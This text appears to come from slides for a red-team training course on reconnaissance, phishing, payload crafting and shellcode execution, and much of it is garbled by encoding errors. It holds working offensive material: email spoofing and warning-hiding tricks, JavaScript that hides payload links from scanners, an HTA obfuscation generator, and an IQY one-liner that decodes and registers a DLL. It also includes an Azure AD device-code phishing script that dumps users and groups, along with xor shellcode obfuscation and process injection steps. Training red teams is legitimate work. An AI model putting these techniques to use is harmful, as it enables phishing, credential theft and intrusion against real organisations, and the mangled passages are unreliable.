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Syllabus

2 daystraining, coveringboth offensive and defensiveaspects.

The training isdividedin 5 modules:

ÁInitial foothold

ÁGainingAccess

ÁPayloadcrafting

ÁInternalReconnaissance

ÁLateralMovement
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Information for the lab

Everythingishostedon the https://mr.un1k0d3r.online/ domain.

The training portal is locatedat https://mr.un1k0d3r.online/training/
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What isa red team

Á!ǎǎŜǎǎŜǎ ȅƻǳǊ ŎƭƛŜƴǘΩǎ ǊŜǎǇƻƴǎƛǾŜƴŜǎǎ ŀƎŀƛƴǎǘ ǘƘǊŜŀǘ ŀŎǘƻǊǎ

ÁEvaluates their security posture by achieving pre-defined goals 
(access CEO emails, access customer data, etc.)

Á5ŜƳƻƴǎǘǊŀǘŜǎ ǇƻǘŜƴǘƛŀƭ ǇŀǘƘǎ ǳǎŜŘ ōȅ ŀǘǘŀŎƪŜǊǎ ǘƻ ŀŎŎŜǎǎ ȅƻǳǊ ŎƭƛŜƴǘΩǎ 
assets

Is not about exploiting as many 0-days as possible 

Is not about exploiting as many systems as possible
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Module 1:
Initial Foothold
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Initial Foothold

DNS Enumeration

During a red team some of your target may be 3rd party applications 
that are not managed by your target (ex: payroll using a 3rd party). It is 
important to fingerprint the ownership of these applications prior to 
the red team
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Initial Foothold

DNS Enumeration

Starting point:

ÅDNS reconnaissance (https://github.com/blark/aiodnsbrute, 
fast and easy to use)

ÅOnce the target primary domain is identified, performing a 
DNS subdomain brute may reveal interesting targets

ÅVPS services are probably going to be much faster than your 
home ISP
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Initial Foothold

DNS Enumerationnote

ÁMisconfiguredDNS mayleakinternal IP addressesand servers of 
interest in their public records

ÁYou mayalsoleakyour IP address

ÁWhileperforminga red team, makesure that youperform yourDNS 
queryon a system that isnot ownedby you, sincerecursiveDNS 
querywill leakthe source
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Initial Foothold
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Initial Foothold

CertificateEnumeration

Certificatemayhave multiple subjectsleakingextra DNS, including
stagingenvironment

10



Initial Foothold

SearchEngine

Searchengine can be used to search
for domainandsubdomains

inurl:

intext:

site:
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Initial Foothold

Github

Åhttps://github.com/dxa4481/truffleHogcan be used to harvest 
information within github

ÅTrufflehogSearches through git repositories for secrets, digging deep 
into commit history and branches

ÅThis is effective at finding secrets accidentally committed
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Initial Foothold

EnumerationTool

https://github.com/OWASP/Amassis basically using all the method we 
described to perform enumeration:

ÅInformation Gathering Techniques Used:
ÅDNS
ÅScraping
ÅCertificates
ÅAPIs
ÅWeb Archives

Can be installed from the repo: sudo snap install amass
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Initial Foothold

ASN may be useful too to find new subnets

Validate it against ARIN: https://whois.arin.net/rest/asn/AS{id}

Search for IPs associated with ASN

https://raw.githubusercontent.com/nitefood/asn/master/asn
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https://whois.arin.net/rest/asn/AS%7bid%7d
https://raw.githubusercontent.com/nitefood/asn/master/asn


Initial Foothold
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Initial Foothold

Validating that the IP range is owned by the target (using ARIN or 
automated script https://github.com/Mr-Un1k0d3r/SearchIPOwner)

Your target may own more than one subnet, so make sure that you 
perform the exercise every time you discover a new IP and repeat for 
each domain that is own by them

Example: mr.un1k0d3r.online and ringzer0team.com are owned by the 
same entity
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Exercise
Enumerate subdomain
for mr.un1k0d3r.online



Initial Foothold

Subnets reconnaissance using shodan.io
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Initial Foothold

Validating certificate in the range may reveal new domains that can be 
used for enumeration

When targeting a company that performed several acquisitions, make 
sure that each acquired company is in scope
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Initial Foothold

Shodan may reveal interesting service exposed

Version fingerprint is also useful to identify potentially vulnerable 
targets.
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Initial Foothold

Censys.io also another Shodanlike service but it is a bit more expensive

You can get shodanfor about 5$ when they do their discount
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Initial Foothold

Shodan may reveal other portals that can be used to access the internal 
network:
ÅCitrix portals
ÅOWA
ÅVPN
ÅF5 console
ÅFortinet
ÅCisco
ÅΧ

Always hunt for the latest publicly available exploit

22



Initial Foothold

Scanningthe externalsubnetfor mostcommonport maybe usefultoo.

Sincethe whole Internet is scannedseveraltimes a day,a light NMAP
shouldremainundetected.

Makesureyou areusingthe proxysystemthat waspreviouslyset up in
the cloud not to exposeyour ŎƻƳǇŀƴȅΩǎIP and reveal that you are
performinga RedTeam

nmap - Pn - sT - vvvv - oA scan 10.10.10.10/22 - p22,80,443,8080,8443

|   |                                           |

No ping - - Full TCP connect - List of common web port
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Initial Foothold

proxychainsto tunnel your scan? You need to use a full TCP connect 
scan

proxychains ƵsT ƛ

5ƻƴΩǘ ŦƻǊƎŜǘ ŀōƻǳǘ ȅƻǳǊ 5b{ ƛƴΥ κusr/lib/proxychains3/proxyresolv
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Initial Foothold

Quick web enumeration. Instead of manually browsing each web 
application, the NMAP output can be used to perform web capture 
using aquatone (https://github.com/michenriksen/aquatone)
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https://github.com/michenriksen/aquatone


Initial Foothold

Bothamassand nmapresultscan be usedto feedaquatone

cat nmap.xml | ./ aquatone Ƶnmap

cat output | ./ aquatone

Sadly, aquatoneisnot reallymaintainedanymore
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Initial Foothold
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Initial Foothold
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Exercise
Run aquatone against the 
discovered IPs



Initial Foothold

From there, you may be able to quickly identify interesting portals and 
potential framework / application / services that can be exploited to 
gain access

Keep in mind that one of the predefined goals can include accessing 
one of the exposed portals. Once credentials are obtained, try to 
connect to the service from the external network

Services that rely on active directory for authentication can be used to 
perform password spraying
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Initial Foothold

Quick wins when it comes to reconnaissance:
ÅLync and Office can be used to leak the internal domain name and may 

expose authentication endpoint

ÅExposed OWA can be used to access email through the EWS endpoint, even if 
MFA is enforced

ÅSend internal phishing with compromised credentials via EWS

Åhttps://github.com/rvrsh3ll/Misc-Powershell-
Scripts/blob/b834ca28c5a8d392bd14e8e4e380d42c4a8fc318/Send-
EWSEmail.ps1

ÅEWS endpoint is usually located at: https://your.target/EWS/Exchange.asmx

ÅTry to enumerate active directory through their exposed portal
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https://your.target/EWS/Exchange.asmx


Initial Foothold

Harvesting credentials and users
Query exposed data breach for email matching your target

Hunt code repositories online:
ÅCheck commit message for guidance:

ÅCommit #13d8bd21a removing AWS key: you can check the commit and 
ǊŜǘǊƛŜǾŜ ǘƘŜ ƪŜȅ ŜǾŜƴǘ ƛŦ ǘƘŜ ōǊŀƴŎƘ ŘƻŜǎƴΩǘ ǎƘƻǿ ƛǘ ŀƴȅƳƻǊŜ
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Initial Foothold
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Initial Foothold
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Initial Foothold
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Initial Foothold

Like Google searchGithubsupport keyword to refineyoursearch
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Initial Foothold

Githubwascool and all, but they made it evencoolerwith the 
cs.github.com search

It isstill beta but offer all kindsof features.
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Initial Foothold

Good olΩ DƻƻƎƭŜ ŘƻǊƪǎΥ
Åintext

Åinurl

Åintitle

Åsite

Åfiletype

ÅΧ

https://www.exploit-db.com/google-hacking-database
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Initial Foothold

Site such as linkedin.com may give you a list of employees
Metadata in exposed document may reveal the internal username structure:
site:ringzer0team.com filetype:pdf

[ƛƴƪ Ƴŀȅ ōŜ ŘƻǿƴΣ ŘƻƴΩǘ ōŜ ǎŎŀǊŜŘ ƻŦ ǳǎƛƴƎ waybackmachine (archive.org) or Google cache
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Initial Foothold
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Initial Foothold
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Cachedexample



Initial Foothold
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Cachedexample



Exercise
Search for 
interesting data



Initial Foothold

Some documents may have the Active Directory format as the author

Once the format is identified, you can generate a list of potential users 
based on the information collected on linkedin, githubcommit name, 
facebook, facebookcorporate group, document metadata, corporate 
website and more

FOCA can be used to automate the process:

https://github.com/ElevenPaths/FOCA
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Initial Foothold

Hiring platforms are also useful to fingerprint the security technology 
used by your target
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Exercise
Search for interesting 
job description



Initial Foothold

Phishing

At this point, you either find an exposed vulnerability and you now 
have access to their network, or you need to find a way to get in

So far, we have gathered:

ÅList of users
ÅPasswords
ÅList of assets
ÅThe security product they use
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Initial Foothold

Phishing

Time to see if we can gain access to their employee emails through a 
password spraying attack

This tool provides enough flexibility to target OWA, Office365 or an endpoint that supports 
negotiate authentication (NTLM)
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Initial Foothold
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You client is using the cloud: Graph is what you are looking for

https://developer.microsoft.com/en-us/graph/graph-explorer

https://developer.microsoft.com/en-us/graph/graph-explorer


Initial Foothold

https://login.microsoftonline.com/common/v2.0/

https://graph.microsoft.com/v1.0/
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https://login.microsoftonline.com/common/v2.0/
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Initial Foothold

Behindthe curtain, Graph isusinga bunchof standard web APIs

https://graph.microsoft.com/v1.0/me/messages

Azure AD isalsoanotherexposedAPIs that can be usedto gather
remote information. More on this later.
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Initial Foothold

Phishing context and pretext matters

Pretext is a false, contrived, or assumed purpose or reason; a pretense 
andContextis the surroundings, circumstances, environment, 
background or settings that determine, specify, or clarify the meaning 
of an event or other occurrence
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Initial Foothold
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Searchingfor context: google etc..



Initial Foothold

Your targets have SPF enabled, they must be protected against 
spoofing, right?

Well short answer is no. They need to enforce DMARC and DKIM to 
completely prevent spoofing

DMARC (Domain-Based Message Authentication, Reporting and Conformance) is an email 
authentication protocol. It is designed to give email domain owners the ability to protect 
their domain from unauthorized use, commonly known as email spoofing

DomainKeys Identified Mail (DKIM) is a protocol that allows an organization to take 
responsibility for transmitting a message in a way that can be verified by mailbox providers. 
This verification is made possible through cryptographic authentication

54



Initial Foothold
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Try it yourself: https://github.com/Mr-Un1k0d3r/SPFAbuse

LŦ ȅƻǳǊ ǘŀǊƎŜǘ ŘƻŜǎƴΩǘ ŜƴŦƻǊŎŜ 5a!w/Σ ȅƻǳ Ŏŀƴ ǎǇƻƻŦ ŜƳŀƛƭ

python SPFAbuseSMTP.py <API-KEY> ceo@target.com 
victim@target.com "SPF are not enough" email.txt

You need a sendgridkey which is free to register limited to 10000 
emails

https://github.com/Mr-Un1k0d3r/SPFAbuse


Exercise
Try to send an email to 
your corporate email 
ǳǎƛƴƎ ǘƘŜ ǇǊŜǎƛŘŜƴǘΩǎ 
email



Initial Foothold

You can abuse 3rd party SPF trust

Remember range discovery? SPF may give you more

Also, in this case, they trust salesforce.com and zixworks.com:

ÁCan you send an email through a salesforce API?

ÁHere is a new context can be abused
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Initial Foothold
¢ƘŜ aŀǊƪŜǘƛƴƎ 9ǾƛƭΦ [ŜǘΩǎ ŀǎǎǳƳŜ ȅƻǳǊ ǘŀǊƎŜǘ Ƙŀǎ ǇǊƻǇŜǊƭȅ ŎƻƴŦƛƎǳǊŜŘ 
the DMARC + DKIM + SPF 

.ǳǘ ǘƘŜȅ ǿŀƴǘ ǘƻ ǎŜƴŘ ƳŀǊƪŜǘƛƴƎ ŜƳŀƛƭǎ ǳǎƛƴƎΣ ƭŜǘΩǎ ǎŀȅΣ ǎŜƴŘƎǊƛŘΦŎƻƳ
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Initial Foothold

Due to the way that most marketing email solutions work, companies must allow 
the marketing solution in their SPF

You register an account on the same marketing solution and you send an email 
within the same IP range

LǘΩǎ ƴƻǘ ŀ ōǳƎ ƛǘΩǎ ŀ ŦŜŀǘǳǊŜ

No need to tell you that this will increase the credibility of your phishing campaign, 
since you can pretend to be from the targeted company

Phishing is all about trust
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Exercise
Analyze DNS TXT Record



Initial Foothold

https://mxtoolbox.com

61



Initial Foothold

dig command
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Initial Foothold

nslookup command
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Initial Foothold

External assets can be tested using various tools:

Attack Lync:

Áhttps://github.com/nyxgeek/lyncsmash

Attack Office365:

Áhttps://github.com/mdsecactivebreach/o365-attack-toolkit
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Initial Foothold

Now that we have everything in place to send our phishing, create the phishing 
email and website

If you can use one of the target systems to host your payload, do it!

LŦ ȅƻǳ ŎŀƴΩǘΣ ƳŀƪŜ ǎǳǊŜ ǘƘŀǘ ȅƻǳǊ ǇƘƛǎƘƛƴƎ ǿŜōǎƛǘŜ ƛǎ ŀǘǘǊŀŎǘƛǾŜΥ

Á/ƭƻƴŜ ƭŜƎƛǘƛƳŀǘŜ ǿŜōǎƛǘŜ Ǿƛǎǳŀƭ ǘƻ ƳŀƪŜ ƛǘ ƭƻƻƪ άǇǊƻŦŜǎǎƛƻƴŀƭέ

ÁObfuscate your payload 

ÁAvoid typo squatting use 3rd party cloud service approach: 
ringzer0.payrollapp.com vs rlngzer0.com

ÁUse categorized domain

ÁDomain age and certificate matter

Á5ƻƴΩǘ ǎǘƻǊŜ ǘƘŜ ǇŀȅƭƻŀŘ ƛƴ ǘƘŜ ŜƳŀƛƭ
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Initial Foothold

/ƭƻƴŜ ƭŜƎƛǘƛƳŀǘŜ ǿŜōǎƛǘŜ Ǿƛǎǳŀƭ ǘƻ ƳŀƪŜ ƛǘ ƭƻƻƪ άǇǊƻŦŜǎǎƛƻƴŀƭέ

The first impression your victim will get will come from the look of the 
website
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Initial Foothold

Obfuscate your payload 
Assume that automated product will crawl your website. Hide the link to your final 
payload:

Simple Apache mod_rewriteruleǘƻ ƎŜƴŜǊŀǘŜ άŎƻǊǇƻǊŀǘŜέ ¦w[ ǿƛǘƘ ǳƴƛǉǳŜ L5 

RewriteEngine On 

RewriteCond %{REQUEST_FILENAME} ! Ƶf

RewriteCond %{REQUEST_FILENAME} ! Ƶd

RewriteRule ^(.*)$ index.php [L,QSA]

https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/

will actually call

https://phishy.domain/company/index.php
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Initial Foothold

Obfuscate your payload 

¦ǎŜ WŀǾŀ{ŎǊƛǇǘ ǘƻ ƎŜƴŜǊŀǘŜ ȅƻǳǊ ǇŀȅƭƻŀŘΩǎ Ŧƛƴŀƭ ƭƛƴƪ

[ŜǘΩǎ ŀǎǎǳƳŜ ǘƘŜ I¢a[ ƻƴ ǘƘŜ ǇƘƛǎƘƛƴƎ ǿŜōǎƛǘŜ ƭƻƻƪǎ ƭƛƪŜ ǘƘƛǎΥ

<a href ="https://phishy.domain/payload.docm">download the code of conduct</a>

Automated security tools can easily process the HTML and pull the payload to 
perform further analysis
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Initial Foothold

Obfuscate your payload

<a id="download" href ="#">

download the code of conduct</a>

<script>

document.getElementById ("download").onclick = function() {

document.location = "https://phish" + " y.domain /pay" + "load";

}

document.getElementById ("download").click();

</script>
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Initial Foothold

Email Trick

The big warning box case 

Usually, your phishing is coming from an external domain, and it loads 
ǎǳŎƘ ǿŀǊƴƛƴƎ ƛƴ ȅƻǳǊ ŜƳŀƛƭΦ /ŀƴ ǿŜ ƎŜǘ ǊƛŘ ƻŦ ƛǘΧ
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Initial Foothold

Email Trick

CSS is the key here

Send your phishing email in HTML format and add the following piece 
of code:

<style>body { display: none } .phish { display: block !important }</style>

<div class="phish">Your Phishing email content goes here</div> 
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Initial Foothold

Email Trick

This can be easily tested locally using pywin32 on Windows and Outlook

import win32com.client as win32

outlook = win32.Dispatch(' outlook.application ')

mail = outlook.CreateItem (0)

mail.To = mr.un1k0d3r@gmail.com'

mail.Subject ˮ ƥ0ÈÉÓÈÉÎÇ ÔÅÓÔʎ

mail.HTMLBody = """

<style>body { display: none } .phish { display: block !important }</style>

<div class="phish">Your Phishing email content goes here</div> 

"""

mail.Send ()
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Initial Foothold

Avoid typo squatting 

If an employee notices the phishing attempt and identifies the typo squatting, 

without a doubt, hewill report. However, if the original domain looks legitimate, 

the chance that the URL will be trusted increases

Á ringzer0.payrollservice.com  

Á rlngzer0.com

Á rìngzer0.com

Thanks to browser URL font for making the typo a bit harder to see

73



Initial Foothold

Use categorized domain

Assume that the targeted organization has a proxy in place internally. The proxy 
may only allow trusted category:

ÅYou can purchase already categorized domain that expired

ÅYou can purchase your own domain and categorize it yourself

There areso many new domains that are registered that nowadays most proxies 
will let uncategorized domains through to avoid having several support tickets

But always assume the worst, assume your client has tight filtering (reconnaissance 
may have revealed some information)
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Initial Foothold
Domain age matter

Proxy may prevent newly registered domain
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Initial Foothold

Domain age and certificate matter

Even if you are not working a red team, you should register domains occasionally to 
let them age before they will be used:

ÁSecurity solution may flag your email as suspicious due to a newly created 
domain

ÁCorporate solution όŦƻǊ ƴƻǿύ Ƴŀȅ ŦƭŀƎ ƭŜǘΩǎ ŜƴŎǊȅǇǘ ŎŜǊǘƛŦƛŎŀǘŜ ŀǎ ǎǳǎǇƛŎƛƻǳǎ 
since most of the major brands did not adopt it

ÁUse commercial solution to get a certificate

ÁFor now, you can still use HTTP only website avoiding to deal with certificate 
(Browsers are planning to flag non-HTTPS site soon)
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Initial Foothold

Domain age and certificate matter

Quick note on DNS: 

If you are planning to reuse the domain, make sure it was not burned during the 
previous engagement:

ÁSearch for the domain name on public scanning platform such as virustotal

ÁWhen you setup your DNSfor your subdomain, instead of defining a specific 
subdomain and leaking previous client, use wildcard *.yourdomain.com
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Initial Foothold

5ƻƴΩǘ ǎǘƻǊŜ ǘƘŜ ǇŀȅƭƻŀŘ ƛƴ ǘƘŜ ŜƳŀƛƭ

Storing your payload on a website you control allows you to:

ÁKnow the source IP to detect potential automated tool

ÁKnow if there is an automated tool that crawled your payload (user agent, IP)

ÁSwap your payload if there is a problem

ÁTrack users that interacted with your phishing
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Initial Foothold

5ƻƴΩǘ ǎǘƻǊŜ ȅƻǳǊ ƳŀŎǊƻ ƛƴ ȅƻǳǊ ŘƻŎǳƳŜƴǘ

Office allow you to fetch remote template

Zip it back and you are good to go
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Initial Foothold

Hi Bob,

We are currently updating our code of conduct policy. Please review and accept as 
soon as possible. 

We are using the CodeOfConductEZ-Form technology to digitally sign the 
document.

The code of conduct can be found here:

https://ringzer0team.codeofconductupdate.com/trustwave/code/a2ef362e-45d0-
b21d-5abf-edce29d365cb/

Thank you,

80

https://ringzer0team.codeofconductupdate.com/trustwave/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/


Initial Foothold

Do not hesitate to duplicate the target signature format. Once again, 
reconnaissance probably leaked some public email with the format 
they are using

Try online forms and wait for an automatic reply
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Exercise
Check domain 
categorization



Initial Foothold

Payload Options
Based on the reconnaissance, you may want to prioritize a certain type of payload over another one

EDR and Antivirus love to brag about their detection capability. Browse their website for more 
information and use a payload that does not use a technique they detect
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Initial Foothold

Macro VBA:

PROS:

ÁEasy to write

ÁEasy to obfuscate

ÁPretty flexible: can be chained with other techniques to avoid detection

ÁNo SmartScreen        
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Initial Foothold

Macro VBA:

CONS:

ÁEasy to block (Macro enabled document)

Á{ƛƴŎŜ hŦŦƛŎŜ нлмсΣ ƳŀŎǊƻǎ ŀǊŜ ŘƛǎŀōƭŜŘ ōȅ ŘŜŦŀǳƭǘ ŀƴŘ ŎŀƴΩǘ ōŜ ŜƴŀōƭŜŘ

ÁEasy heuristics detection (WinWord.exe spawning cmd.exe). Use WinWord 
to WMI to prevent that

ÁUser interaction required to allow it to run

Å
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Initial Foothold

Macro VBA tricks:

Use WMI to spawn process to break the process chain

Use condition to execute code:

ÁGood olΩ ŘƻƳŀƛƴ ŎƘŜŎƪ

ÁDelayed execution

ÁUse VBA as the first stage to download more payload

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
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Initial Foothold

HTA:

PROS:

ÁEasy to write

ÁEasy to obfuscate

ÁPretty flexible: can be chained with other techniques to avoid detection

ÁNo SmartScreen
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Initial Foothold

HTA:

CONS:

ÁWell known technique, lot of detection effort has been made

ÁUser interaction required to allow it to run

ÁRelatively easy to detect since mshta.exe is the parent process
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Initial Foothold

HTA tricks:

Use simple HTA to dump other files that rely on Windows signed binary to bypass 
application whitelisting

Use the engine to obfuscate your code

<img src =x onerror =execScript ƽÅÖÁÌƽƧƛƨƾƾ˲

89



Initial Foothold

import sys

import random

import string

def gen_str (size):

return "".join( random.SystemRandom().choice( string.ascii_uppercase + string.ascii_lowercase ) for _ in range(size))

str = open( sys.argv [1], "r").read().replace(" ", "")

output = "< img src=%s.png onerror =\ " \ u0065\ u0078\ u0065\ u0063\ u0053\ u0063\ u0072\ u0069\ u0070\ u0074&#40&#39" % gen_str ( random.randrange (10, 24))

str = str.replace (" \ n", ";")

for i in str.strip ():

if i is " ":

output += " "

elif i is "(":

output += "("

elif i is ")":

output += ")"

elif i is ",":

output += ","

elif i is "=":

output += "="

elif i is ";":

output += " \ \ r"

else:

current = format( ord ( i ), "x")

output += " \ \ u" + current.rjust (4, "0")

output += "&#39&#44&#32&#39VBScript&#39&#41 \ ">"

print(output)
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IQY File:

PROS:

ÁEasy to write

ÁEasy to obfuscate or embed another file inside the IQY file

ÁPretty flexible: can be chained with other techniques to avoid detection

ÁNo SmartScreen

91



Initial Foothold

IQY File:

CONS:

ÁWell known technique, lot of detection effort has been made

ÁUser interaction required to allow it to run

ÁExcel disables it on most systems 
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IQY file tricks:
https://gist.github.com/Mr-Un1k0d3r/abdcf16ebcef5842c7f79ee6686271e7

=cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy> %temp%\poc.hex&& certutil -decodehex%temp%\poc.hex
%temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\ regasm.exe /U %temp%\ǇƻŎΦŘƭƭϥΗϥ!мΩ

https://gist.github.com/Mr-Un1k0d3r/4ed3e3e0416fbbd1fd015119359eb961

WEB
1
https://ringzer0.com/IQY

SingleBlockTextImport=False
DisableDateRecognition=False
DisableRedirections=False

4d5a90000300000004000000fff...
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ClickOnce:

PROS:

ÁEasy to write (CSharpƻǊ ŀƴȅ Φb9¢ ƭŀƴƎǳŀƎŜ ƻŦ ȅƻǳǊ ŎƘƻƛŎŜ ǎƛƴŎŜ ƛǘΩǎ ŀƭƭ 
converted into MSIL)

ÁEasy to obfuscate 

ÁPretty flexible: can be chained with other techniques to avoid detection

ÁRely on the .NET framework (easy to pivot to unmanaged Powershell)

ÁLǘΩǎ ŀƴ 9·9Σ ƭƻǿ ƻōŦǳǎŎŀǘƛƻƴ Ŏŀƴ ōŜ ǳǎŜŘ
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ClickOnce:

CONS:

ÁSmartScreen will be triggered

ÁUser interaction required to allow it to run

Á Internet Explorer or Edge is required to deliver the payload
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ClickOnceTricks:

CSharp(or .NET language of your choice) can be easily obfuscated and used to 
either load shellcode or unmanaged powershell

https://github.com/Mr-Un1k0d3r/ClickOnceGenerator
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LNK file:

PROS:

ÁEasy to generate

ÁRun arbitrary command 

ÁNo SmartScreen
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LNK file:

CONS:

ÁEasy to analyze

ÁKind of shady since you need a ZIP usually to add all the needed files
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LNK can be bundle with a MSI installer
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CHM file:

PROS:

ÁEasy to write (HTML & script based)

ÁNo SmartScreen

ÁNot super popular
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CHM file:

CONS:

ÁEasy to analyze

ÁLooks shady from a user perspective

ÁLimited in your actions
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CHM Tricks:

Need to be compiled locally using hhc.exe
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EXE:

PROS:

ÁDeep obfuscate 

ÁPretty flexible: can be chained with other techniques to avoid detection

ÁLǘΩǎ ŀƴ 9·9Σ ƭƻǿ ƻōŦǳǎŎŀǘƛƻƴ Ŏŀƴ ōŜ ǳǎŜŘ

ÁDirect use of Windows APIs unhooking is possible without writing too much 
code
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EXE:

CONS:

ÁSmartScreen will be triggered

ÁMay be hard to run due to policy in place 
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EXE Tricks:
ÁAvoid using generated exe without modification; AV will detect them in a 

matter of seconds

ÁTime to learn assembly and Windows core to obfuscate your code

ÁZip your EXE. If your target is using anything else than the default windows 
archive utility, you will not get SmartScreen since it will remove the Mark of 
the Web

C:\>dir /R
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SmartScreen?

When you download certain type of file such as EXE, you may get prompted with 
the following screen
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Each downloaded file will contain an ADS file (Alternate Data Stream) with the zone 
identifier

cmd.exe /c dir /R will show the ADS

Once extracted the ADS contains the following data:

[ ZoneTransfer ]

ZoneId =3
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ÁZoneId=0: Local machine

ÁZoneId=1: Local intranet

ÁZoneId=2: Trusted sites

ÁZoneId=3: Internet

ÁZoneId=4: Restricted sites
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Select a payload 
based on the recon 
result
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Phishing advice:

ÁNowadays, getting access to a well secured environment through a phishing 
campaign is getting harder. The following tips may help:

ÁChoose your target wisely

ÁDo not hesitate to perform multi layers phishing

ÁDo not hesitate to engage a conversation with the victim to gain trust 
(Employee applying for a job and couple of emails exchanged)

ÁMake your phishing as boring as possible; it may take more time, but 
there is less chance it will be reported

ÁTake your time
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You can use Azure AD to get internalAD access

Perfectfor phishing too, sinceyouare usinga legitimateMicrosoft 
endpoint
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You can use the devicecodefeature

$body=@{

" client_id " = " d3590ed6- 52b3- 4102- aeff - aad2292ab01c"

"resource" =  "https://graph.windows.net"

}

$authResponse = Invoke - RestMethod - UseBasicParsing - Method Post - Uri 
"https://login.microsoftonline.com/common/oauth2/ devicecode?api -
version =1.0" - Body $body

$user_code =    $ authResponse.user_code

write - output $ authResponse
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$jwt = $ response.access_token

$output = Parse - JWTtoken - token $ jwt
$upn = $ output.upn
write - output $ upn
Write - output "Dumping Users"
Connect - AzureAD - AadAccessToken $response.access_token - AccountId $upn
Get- AzureADUser - All $True | Select - Object - Property * | Out - File AD - users.txt

Write - output "Dumping Groups"
Get- AzureADGroup - All $True | Select - Object - Property * | Out - File AD - groups.txt

Write - output "Dumping Groups Membership"
foreach($group in Get - AzureADGroup - All $True) {

$group.DisplayName | Out - File GroupMembership.txt - Append
Get- AzureADGroupMember- ObjectId $group.ObjectId - All $True | Out - File 

GroupMembership.txt - Append
}
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The completesource code is locatedat:

https://mr.un1k0d3r.online/training/source/phishing.ps1
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Exercise
Try it against 
yourself
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Crafting payload is an art Most of the attack framework and C2 on the 
market offer shellcode as their stage one
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First of all, what is shellcode?
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ÅShellcode is basically assembly code often referred as opcode
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!ǎǎŜƳōƭȅ ƭŀƴƎǳŀƎŜ ƛǎ ŘŜǎƛƎƴŜŘ ǘƻ ōŜ ǘƘŜ άhuman readableέ ǾŜǊǎƛƻƴ ƻŦ 
the opcode processed by the CPU
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The opcode can be converted back to assembly to confirm its assembly 
code

OpAsmcan convert opcode to assembly and vice versa

https://ringzer0ctf.com/static/OpAsm.1.3.py
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Shellcode can be executed using small C program

Keep in mind that this approach is not going to work on modern 
systems due to memory allocation security measures

The long way                                                                                                                 The short way
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Once compiled, this complex basically becomes a call EAX, where EAX is 
pointing to the shellcode
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EIP is now pointing to EAX and the shellcode is executed

FC E8 89 00 00 00
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FC E8 89 00 00 00

Typical Metasploit / cobalt strike shellcode signature
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No need to say that Antivirus solutions 
and EDR will detect this stager in a matter 
of second since it can be detected easily 

Even static approach can detect the 
shellcode signature
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ÁTo AVOID detection, we will go 
through two commonly used 
techniques
ÁLow level obfuscation (using C or 

assembly)

ÁWRAPPING THE SHELLCODE IN 
SEVERAL LAYERS OF CODE (GZIP 
+ BASE64 + C# + UNMANAGED 
POWERSHELL) 
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ÁLow level obfuscation serves the purpose of evading static detection 
and not too sophisticated security products

ÁThe idea is to hide the original shellcode that can be easily detected 
using regex or pattern match

ÁRuntime detection will still detect the final shellcode behavior
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For instance, DKMC is using a low-level obfuscation approach

In a nutshell, the code is encrypting the shellcode with a 32 bits 
(DWORD) key using the xor operator.

DWORD key ṥDWORD shellcode

The key is unknown by the algorithm, and it is bruteforcedat runtime

https://github.com/Mr-Un1k0d3r/DKMC
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The algorithm used in DKMC to decrypt 
the shellcode is only 84 bytes

Low-level obfuscation can be extremely 
compact and much harder to detect
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In the case of DKMC, the obfuscated 
shellcode is then embedded in an image 

that is 100% valid; the whole image is 
also a VALID shellcode

Making the final payload a polyglot image

132



GainingAccess

It goes without saying that the possibilities are endless when it comes 
to low-level obfuscation
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Exercise
Write C code to 
execute obfuscated 
shellcode (xor)



GainingAccess

The encoder
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The decoder
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Quick note on the xor operator: 

The same code can be used to generate the encoder and the decoder

A ṥ B = C

C ṥ B = A
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The fact that xor is super easy to use is extremely convenient 
when it comes to payload obfuscation

¢Ƙƛǎ ƛǎ ƻƴŜ ƻŦ ǘƘŜ ǊŜŀǎƻƴǎ ƛǘΩǎ ǿƛŘŜƭȅ ǳǎŜŘ ƛƴ ƳŀƭǿŀǊŜ 
development

Red team also consists of developing your own malware
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How Cobalt Strike payload can be obfuscated; luckily, there are a lot of 
format types available 

Most of the tool I developed will use the RAW format
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You want to avoid using shellcode for Cobalt Strike? The powershell
onelinerƳŀȅ ōŜ ǘƘŜ ǎƻƭǳǘƛƻƴΧ
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The Base64 decoded data leads to more powershellcode than GZIPed
and Base64 once more
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Which decodes to the final powershellstage
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The big base64 blob of data is xor with the value 35 (remember how 
xor is used everywhere)

Then the decrypted value is Invoked 
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Exercise
Decode the final 
stage
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Our good olΩ ǎƘŜƭƭŎƻŘŜΗ 
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146

This shellcode was obfuscated using 
the following layers

Powershell base64

Powershell code gzip + base64

Base64 the payload 

Xor the payload
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Everypayloadstype will end up calling
shellcode, sincethe maliciouscode is always

goingto be a DLL
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Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/PowerLessShell

Ámsbuildxml + C# + encrypted shellcode

Ámsbuildxml + C# + unmanaged powershell+ whatever powershellpayload used 
to run the shellcode
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Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

ÁObfuscated VBA to pretty much do everything you want
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Alternative ways to run shellcode:

https://github.com/Mr-Un1k0d3r/SCT-obfuscator

ÁSimple SCT obfuscator for Cobalt Strike COM Scriptlet:
ÁCOM scriptlet+ Excel + Macro + CreateRemoteThreadto load the shellcode
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Speaking of CreateRemoteThread, you can also execute your shellcode within your 
own process (CreateThread) or a remote process

Threads are basically code that will be executed in the process. Good news! 
Shellcode is code that can be executed

Windows APIs that can be used:
ÁCreateRemoteThread
ÁCreateThread
ÁQueueUserAPC
ÁΧ

Memory permission matters: if you want to be able to run shellcode, your memory 
needs to be executable
If your shellcode is modifying itself, you need writable memory region
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CreateThreadmay be detected by static analysis or έŘŜŜǇ ƭŜŀǊƴƛƴƎέ

Use Windows APIs callback instead

site:docs.microsoft.com intext:"application - defined callback function" intitle:"function "
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#include < windows.h >

void shellcode () {

asm(".byte 0xcc, 0xcc");

}

int main() {

CHAR *payload = shellcode ;

EnumDesktopsW(NULL, (DESKTOPENUMPROCW)shellcode , NULL);

return 0;

}
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Remote injection requires the use of the following APIs:

OpenProcess: Open the remote process 

VirtualAllocEx: Allocate memory on the remote process

WriteProcessMemory: Write the data to the remote process memory

CreateRemoteThread: Call the memory location as executable code
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Write C code to execute 
shellcode using 
CreateRemoteThread
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Want to use C# instead, InteropService isyour friend

https://github.com/Mr-
Un1k0d3r/RemoteProcessInjection/blob/master/remoteprocessinjection.cs
